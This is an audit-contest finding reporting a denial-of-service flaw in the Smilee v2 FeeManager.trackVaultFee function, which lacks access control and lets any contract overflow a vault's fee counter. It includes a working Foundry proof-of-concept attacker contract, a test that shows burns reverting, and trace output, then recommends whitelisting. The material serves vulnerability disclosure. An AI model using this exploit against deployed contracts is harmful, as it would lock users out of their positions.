hals - `IG` contract can be DoS'd from minting or burning options

[sherlock-admin4]

hals

medium

IG contract can be DoS'd from minting or burning options

Summary

IG contract can be DoS'd from minting or burning options by a malicious actor setting the vaultFeeAmounts[vault] to the maximum amount resulting in reverting transactions due to overflow whenevr FeeManager.trackVaultFee function is called

Vulnerability Detail

• FeeManager.trackVaultFee function is meant to track fees collected by vaults, and it's invoked whenever an option is minted via IG.mint function, and whenever an option is burnt or decreased via IG.burn function.

• And in each operation, the vault fee is calculated via feeManager.tradeBuyFee() (where this fee is calculated based on the expiry time of the given DVP and the dvpFeeParam set by the feeMnager contract admin), then tracked and transferred and to the FeeManager contract via feeManager.receiveFee() and feeManager.trackVaultFee() functions:

  //@@notice: DVP._mint function:
    function _mint(
        address recipient,
        uint256 strike,
        Amount memory amount,
        uint256 expectedPremium,
        uint256 maxSlippage
    ) internal returns (uint256 premium_) {
    //some code...
        feeManager.receiveFee(fee - vaultFee);
        //some code...
        IERC20Metadata(baseToken).safeTransferFrom(msg.sender, vault, premium_ + vaultFee);
        feeManager.trackVaultFee(address(vault), vaultFee);
        //some code...
    }

  //@@notice: DVP._burn function:
    function _burn(
        uint256 expiry,
        address recipient,
        uint256 strike,
        Amount memory amount,
        uint256 expectedMarketValue,
        uint256 maxSlippage
    ) internal returns (uint256 paidPayoff) {
        //some code...
        feeManager.receiveFee(netFee);
        feeManager.trackVaultFee(address(vault), vaultFee);
  
        //some code...
    }

• In FeeManager.trackVaultFee function, it checks if the vault of the msg.sender Ig contract matches the vault parameter, then it increases it's vaultFeeAmounts by the said amount:

    function trackVaultFee(address vault, uint256 feeAmount) external {
        // Check sender:
        IDVP dvp = IDVP(msg.sender);
        if (vault != dvp.vault()) {
            revert WrongVault();
        }
  
        vaultFeeAmounts[vault] += feeAmount;
  
        emit TransferVaultFee(vault, feeAmount);
    }

• But as can be noticed; this can be easily called by any contract that doesn't neccessarily be a whitelisted IG contract, and increasing the vaultFeeAmounts[vault] to the maixmum value (type(uint256).max), resulting in any call to track the fees of that vault to revert sue to overflow.

Impact

• This would result in DoSing opening and closing/decrementing the positions related to the victim vault.
• Possible solutions to overcome this attack is:
  1. deploy and set a new FeeManager contract,
  2. or set the DVPFees to zeros (but the protocol will not collect fees from the victim IG)

but any of these changes will not be immediate as the timeLockDelay must be passed first before applying any new changes, which will result in permanently disabling the IG contracts that use the victim vault.

Code Snippet

FeeManager.trackVaultFee function

   function trackVaultFee(address vault, uint256 feeAmount) external {
        // Check sender:
        IDVP dvp = IDVP(msg.sender);
        if (vault != dvp.vault()) {
            revert WrongVault();
        }

        vaultFeeAmounts[vault] += feeAmount;

        emit TransferVaultFee(vault, feeAmount);
    }

Foundry PoC:

1. Add this Attacker.sol file in the following directory smilee-v2-contracts/test/ :

   ├── smilee-v2-contracts
   │   ├── test
   │       ├──Attacker.sol

   // SPDX-License-Identifier: UNLICENSED
   pragma solidity ^0.8.15;
   
   interface IFeeManager {
      function trackVaultFee(address vault, uint256 feeAmount) external;
   }
   
   contract Attacker {
      // the victim vault
      address public vault;
   
      function setVictimVault(address victimVault_) public {
          vault = victimVault_;
      }
   
      function attack(address feeManagerAddress, uint256 maxValue) public {
          IFeeManager(feeManagerAddress).trackVaultFee(vault, maxValue);
      }
   }

2. Add testDiasableIG test to the IG.t.sol file in the following directory smilee-v2-contracts/test/IG.t.sol (note that this test is copied from testMintAndBurn test and modified to illustrate the vulnerability) :

   function testDiasableIG() public {
          uint256 minFeeBeforeTimeThreshold = 1e5;
          uint256 minFeeAfterTimeThreshold = 1e5;
          bytes memory arithmeticError = abi.encodeWithSignature("Panic(uint256)", 0x11);
   
          //1. the `FeeManager` admin sets the the DVPFees (to illustrate the vulnerability, as it was set to 0 in the setUp), here the `minFeeBeforeTimeThreshold` & `minFeeAfterTimeThreshold` that are used to calculate vault fees are going to be set to values > 0
          // note that the `timeLockDelay` is set to zero in the setUp, that's whay the DVPFees are immediatly set without waiting the timelock delay to pass
          vm.startPrank(admin);
          FeeManager(ap.feeManager()).setDVPFee(
              address(ig),
              //timeToExpiryThreshold,minFeeBeforeTimeThreshold,minFeeAfterTimeThreshold,successFeeTier,feePercentage,capPercentage,maturityFeePercentage,maturityCapPercentage
              FeeManager.FeeParams(
                  3600,
                  minFeeBeforeTimeThreshold,
                  minFeeAfterTimeThreshold,
                  0,
                  0.0035e18,
                  0.125e18,
                  0.0015e18,
                  0.125e18
              )
          );
          vm.stopPrank();
   
          //2. alice mints a position:
          uint256 inputAmount = 1 ether;
   
          uint256 currEpoch = ig.currentEpoch();
          uint256 strike = ig.currentStrike();
   
          TokenUtils.provideApprovedTokens(address(0x10), baseToken, alice, address(ig), inputAmount, vm);
          (uint256 expectedMarketValue, ) = ig.premium(strike, inputAmount, 0);
          vm.prank(alice);
          ig.mint(alice, strike, inputAmount, 0, expectedMarketValue, 0.1e18, 0);
   
          //3. the attacker contract attacks the victim IG:
          uint256 maxVaultFeeToOverFlow = type(uint256).max - minFeeBeforeTimeThreshold;
          Attacker attackerContract = new Attacker();
          attackerContract.setVictimVault(address(vault));
          attackerContract.attack(ap.feeManager(), maxVaultFeeToOverFlow);
   
          //4. alice tries to exit her position (burn), but the transaction will revert due to overflow ("Arithmetic over/underflow"):
          vm.startPrank(alice);
          (expectedMarketValue, ) = ig.payoff(currEpoch, strike, inputAmount, 0);
   
          vm.expectRevert(arithmeticError);
          ig.burn(currEpoch, alice, strike, inputAmount, 0, expectedMarketValue, 0.1e18);
          vm.stopPrank();
      }

3. Explained scenario:

   1. The FeeManager contract admin sets the minFeeBeforeTimeThreshold & minFeeAfterTimeThreshold for the victim DVP (note that in the test file the timeLockDelay is set to zero, that's why the DVPFees are set immediatly without waiting for the timeLock delay to pass, and this is not the case in real deployment).
   2. Alice mints a position.
   3. An attacker contract is being deployed with vault() being the same used by the victim IG contract, then the attacker contract calls FeeManager.trackVaultFee on the victim vault to increase its fee amount to the maximum value.
   4. Now alice tris to exit her position from the victim IG contract, but the transaction will revert due to arithmetic overflow.

4. Test result:

   $ forge test --mt testDiasableIG -vvvvv
   
      │   ├─ [1647] FeeManager::trackVaultFee(MockedVault: [0x1E1eC29a0C2D587fD88e9980858e4cBc7242bB22], 100000 [1e5])
      │   │   ├─ [348] MockedIG::vault() [staticcall]
      │   │   │   └─ ← MockedVault: [0x1E1eC29a0C2D587fD88e9980858e4cBc7242bB22]
      │   │   └─ ← "Arithmetic over/underflow"
      │   └─ ← "Arithmetic over/underflow"
      ├─ [0] VM::stopPrank()
      │   └─ ← ()
      └─ ← ()
   
   Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 24.99ms
   Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

Tool used

Manual Review & Foundry.

Recommendation

Whitelist the IG contracts that are allowed to interact with the FeeManager contract.

Duplicate of #43

[sherlock-admin2]

2 comment(s) were left on this issue during the judging contest.

panprog commented:

valid high, dup of #43

takarez commented:

valid; medium(4)

[metadato-eth]

SAME AS 43